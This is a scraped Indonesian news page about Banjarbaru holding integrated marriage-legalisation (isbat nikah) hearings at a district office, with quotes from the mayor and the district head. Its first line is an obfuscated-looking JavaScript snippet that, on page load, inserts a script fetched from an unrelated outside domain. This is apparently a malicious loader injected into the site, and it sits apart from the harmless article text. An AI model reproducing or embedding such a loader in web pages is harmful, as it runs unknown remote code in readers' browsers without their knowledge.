(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru terus berupaya untuk meningkatkan pelayanan kepada masyarakat, salah satunya pelaksanaan sidang isbat nikah yang tidak perlu datang ke Pengadilan Agama, cukup di kantor kecamatan saja.
Kecamatan Banjarbaru Selatan menjadi pilot project inovasi ini.
Sosialisasi pelaksanaan sidang isbat nikah terpadu di wilayah Kecamatan Banjarbaru Selatan digelar di aula kantor kecamatan, Kamis(20/1/2022) yang dihadiri Lurah se Kota Banjarbaru dan Ketua RT se Kecamatan Banjarbaru Selatan. Narasumber Wali Kota Banjarbaru Aditya Mufti Ariffin, Ketua Pengadilan Agama Kota Banjarbaru Dr H Muhammad Najmi Fajri, SHI MHI dan Camat Banjarbaru Selatan Taufik Purwanto SSTP MAP.
Wali Kota Banjarbaru menuturkan dengan dilaksanakannya sidang isbat nikah di kantor Kecamatan Banjarbaru Selatan, diharapkan bisa menekan angka warga yang belum melaksanakan nikah secara tertulis dan untuk memecahkan permasalahan yang berkaitan ahli waris. Kedepannya Wali Kota mengharapkan agar seluruh kecamatan di Kota Banjarbaru juga bisa melaksanakan program seperti ini.
Baca juga: PJU Terpasang, Jalan A Yani Km 20-24 Liang Anggang Tak Lagi Gelap
“Kedepannya kami berharap di seluruh kecamatan bisa melaksanakan sidang isbat nikah. Karena memang menurut data masih banyak warga yang belum melaksanakan nikah secara tertulis, jadi masih banyak masyarakat yang belum mempunyai dokumen berkaitan dengan pernikahan. Mudah-mudahan dengan program ini bisa menekan angka tersebut dan bisa menjadi jalan untuk memecahkan permasalahan yang ada berkaitan dengan masalah waris dan lain-lain dengan adanya surat nikah,” bebernya.
Camat Banjarbaru Selatan Taufik Purwanto meminta dukungan dari berbagai pihak untuk pelaksanaan sidang isbat nikah terpadu ini, karena sesuai dengan tagline Banjarbaru saat ini yaitu Banjarbaru yang Juara, Maju, Agamis dan Sejahtera.
“Tagline Banjarbaru saat ini adalah Juara (Maju, Agamis dan Sejahtera), di bidang agama ini kita harus bersama-sama minta dukungan pian-pian, untuk kawan-kawan kita yang saat ini terdampak nikah siri, kita bantu hak martabatnya untuk mengikuti sidang isbat nikah terpadu ini,” ujarnya.
Dengan adanya inovasi pelaksanaan sidang isbat nikah terpadu ini diharapkan bisa memecahkan permasalahan yang ditimbulkan akibat pernikahan yang tidak terdaftar secara resmi atau nikah siri, karena urusan administrasi dan sidang isbat nikah bisa dilakukan di kantor kecamatan. (kanalkalimantan.com/al)
Reporter : al
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Tim Banjarbaru Haram Manyarah (Hanyar) yang mengawal hasil Pemilihan Wali Kota dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More
KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More
KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More
This website uses cookies.